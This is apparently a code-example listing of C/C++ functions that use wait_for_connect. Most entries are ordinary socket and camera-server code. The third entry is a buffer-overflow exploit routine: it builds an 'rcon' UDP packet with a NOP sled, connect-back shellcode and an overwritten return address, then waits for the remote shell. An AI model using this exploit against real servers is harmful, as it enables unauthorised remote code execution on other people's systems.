int main(int argc, char **argv)
{
    sock_t sock;
    int err;

    sock_initialize();

    sock = sock_connect("www.google.com", 80);

    if (sock < 0) {
	sock_shutdown();
	return 1;
    }

    err = wait_for_connect(sock);
    if (err < 0) {
	sock_close(sock);
	sock_shutdown();
	return 1;
    }

    sock_close(sock);

    sock_shutdown();

    return 0;
}
Beispiel #2
0
void 
Network::accept_stream(void) 
{
   NetStream *s = wait_for_connect();
   cerr << "Network   accept_stream from ---->" << s->name() << endl;
   add_stream(s);
   add_client(s);

   // notify observers
   notify_net(Network_obs::accept_str, s);
}
Beispiel #3
0
assembly_shell_code(int sock, u32 addr, u16 port, u32 laddr, u8 *linfo)
{
   u8    pkt[2048],
         *shell_ptr;
   struct sockaddr_in *sc_server;
   u32   ret_addr = 0xbfffb1f4, last_byte = 1014, over_head = 40;
   int   i, n, tcp, tcp_port;

   printf(".  localinfo %s\n", linfo);
   tcp = bind_tcp( &tcp_port);
   sc_server = (struct sockaddr_in *)&shellcode[10];
   sc_server->sin_addr.s_addr = htonl(laddr);
   sc_server->sin_port = htons(tcp_port);

   last_byte-=strlen(linfo);
   pkt[0] = pkt[1] = pkt[2] = pkt[3] = 0xff;
   sprintf( &pkt[4], "rcon ");
   i = strlen(pkt);
   shell_ptr = &pkt[i];

   /* find out how many nops we can push before shellcode */
   n = last_byte - i - sizeof(shellcode)-1 - over_head;
   for (i=0;i<n;i++)
       shell_ptr[i] = 0x90; /* nop */
   shell_ptr+=i;

   /* fill in the shellcode */
   for (i=0;i<sizeof(shellcode)-1;i++)
       shell_ptr[i] = shellcode[i];
   shell_ptr+=i;

   /* fill in the overhead buffer */
   for (i=0;i<over_head;i++)
       shell_ptr[i] = '-';
   shell_ptr+=i;

   /* fill return address and ebp */
   *(u32 *)shell_ptr = ret_addr; shell_ptr+=4;
   *(u32 *)shell_ptr = ret_addr; shell_ptr+=4;

   /* finalize string */
   *shell_ptr = 0;

   n = udp_send( sock, addr, port, pkt, strlen(pkt));
   printf(".  sending poison code. %d bytes sent\n",n);
   wait_for_connect(tcp);
}
Beispiel #4
0
int main(int argc, char **argv) {
  int c = -1;
  int option_index;
  int img_height = DEFAULT_HEIGHT; 
  int img_width  = DEFAULT_WIDTH;
  int listen_port = LISTEN_PORT;
  
  for (;;) {
    c = getopt_long(argc, argv, short_options, long_options, &option_index);
    if (c == -1) {
      break;
    }
    
    switch(c) {
      case 'h': {
	if (optarg != NULL) {
	  img_height = atoi(optarg);
	}
	break;
      };
      case 'w': {
	if (optarg != NULL) {
	  img_width = atoi(optarg);
	}
	break;
      };
      case 'p': {
	if (optarg != NULL) {
	  listen_port = atoi(optarg);
	}
	break;
      };
    };
  }
  
  if (open_socket(LISTEN_ADDR, listen_port) != 0) {
    printf("ERROR: cannot open socket\n");
    return 1;
  }
  
  if (open_camera() != 0) {
    printf("Camera file error, exiting...\n");
    return 1;
  }
  
  if (init_camera(img_height, img_width) != 0) {
    printf("Camera error, exiting...\n");
    return 1;
  } else {
    printf("INFO: image size is %dx%d;\n\n", img_width, img_height);
  }

  while (1) {
    while (1) {
      if (wait_for_connect() == 0) { break; }
    }
    
    while (1) {
      if (read_current_socket() == 0) {
	if (check_get_params("exit") == 1) {
	  goto APP_EXIT;
	} else if (check_get_params("bmp") == 1) {
	  if (check_get_params(GETPARAM_SEND_HTTP_HEADERS)) {
	    send(get_current_socket(), http_headers, strlen(http_headers), 0);
	    send(get_current_socket(), header_ct_bmp, strlen(header_ct_bmp), 0);
	  }
	  read_camera(IMAGE_TYPE_BMP, get_current_socket(), check_get_params(GETPARAM_COLOR_IMAGE));
	  close_current_socket();
	  break;
	} else if (check_get_params("jpg") == 1) { 
	  //print_time(0);
	  if (check_get_params(GETPARAM_SEND_HTTP_HEADERS)) {
	    send(get_current_socket(), http_headers, strlen(http_headers), 0);
	    send(get_current_socket(), header_ct_jpeg, strlen(header_ct_jpeg), 0);
	  }
	  read_camera(IMAGE_TYPE_JPG, get_current_socket(), check_get_params(GETPARAM_COLOR_IMAGE));
	  close_current_socket();
	  //print_time(1);
	  break;
	} else if (check_get_params("yuyv") == 1) { 		// GET:yuyv
	  read_camera(IMAGE_TYPE_YUYV, get_current_socket(), 0);
	  close_current_socket();
	  break;
	}
      }
    }
  }
  
  APP_EXIT:
  printf("Exiting...\n");
  close_camera();
  close_current_socket();
  close_main_socket();
  
  return 0;
}